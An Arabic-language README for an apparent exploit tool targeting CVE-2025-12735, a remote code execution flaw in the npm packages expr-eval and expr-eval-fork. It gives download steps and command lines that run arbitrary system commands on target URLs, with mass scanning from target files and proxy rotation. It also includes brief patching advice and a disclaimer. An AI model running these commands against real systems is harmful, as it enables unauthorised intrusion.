
أداة بحث أمني لاكتشاف واختبار CVE-2025-12735 (expr-eval RCE vulnerability)
أداة بحث أمني لكشف واختبار ثغرة CVE-2025-12735 في حزم npm expr-eval و expr-eval-fork.
هذه الأداة مخصصة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
CVE-2025-12735 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في حزم npm expr-eval و expr-eval-fork. تسمح هذه الثغرة للمهاجمين بتعريف دوال عشوائية داخل كائن context المستخدم من قبل المحلل (parser)، مما يتيح حقن كود ضار ينفذ أوامر على مستوى النظام.
درجة CVSS: 9.8 (حرجة)
الإصدارات المتأثرة: expr-eval-fork < 3.0.0
الإصدار المُصلح: expr-eval-fork v3.0.0+
# استنساخ المستودع
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# تثبيت التبعيات
pip install -r requirements.txt
# جعل السكريبت قابلاً للتنفيذ (اختياري)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# تحميل السكريبت
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# تثبيت التبعيات
pip install requests
# هدف واحد
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# تنفيذ أمر مخصص
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# أهداف متعددة من ملف
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# مع تعدد الخيوط لمسح أسرع
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# إخراج مفصل للتصحيح
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# بروكسي واحد
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# بروكسيات متعددة من ملف
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url عنوان الهدف
-f, --file ملف يحتوي على عناوين الأهداف (واحد في كل سطر)
-c, --command الأمر المراد تنفيذه (الافتراضي: id)
-t, --threads عدد الخيوط (الافتراضي: 1)
-o, --output ملف الإخراج (الافتراضي: uknf_expr_eval_results.json)
-v, --verbose تفعيل تسجيل مفصل
--proxy عنوان البروكسي (مثل http://127.0.0.1:8080)
--proxy-list ملف يحتوي على عناوين بروكسيات (واحد في كل سطر)
يقوم السكريبت بإنشاء ملف JSON بنتائج مفصلة:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
إذا كنت تستخدم expr-eval أو expr-eval-fork:
قم بالترقية فوراً:
npm install expr-eval-fork@latest
طبق التصحيح الأمني:
نفذ التحقق من الإدخال:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# إنشاء ملف الأهداف
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# تشغيل المسح
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# بروكسي واحد
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# بروكسيات متعددة من ملف
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
المساهمات مرحب بها! لا تتردد في تقديم طلب سحب (Pull Request).
git checkout -b feature/AmazingFeature)git commit -m 'إضافة ميزة رائعة')git push origin feature/AmazingFeature)إذا واجهت أي مشكلة أو كان لديك اقتراح، يرجى فتح مشكلة (issue) على GitHub.
هذا المشروع مرخص بموجب رخصة MIT - انظر ملف LICENSE للتفاصيل.
إذا وجدت هذه الأداة مفيدة، يرجى التفكير في منحها نجمة على GitHub!
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. المستخدمون مسؤولون عن ضمان حصولهم على التصريح المناسب قبل اختبار أي أنظمة.
إذا وجدت هذه الأداة مفيدة وترغب في دعم المشروع:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
شكراً لدعمك! 🙏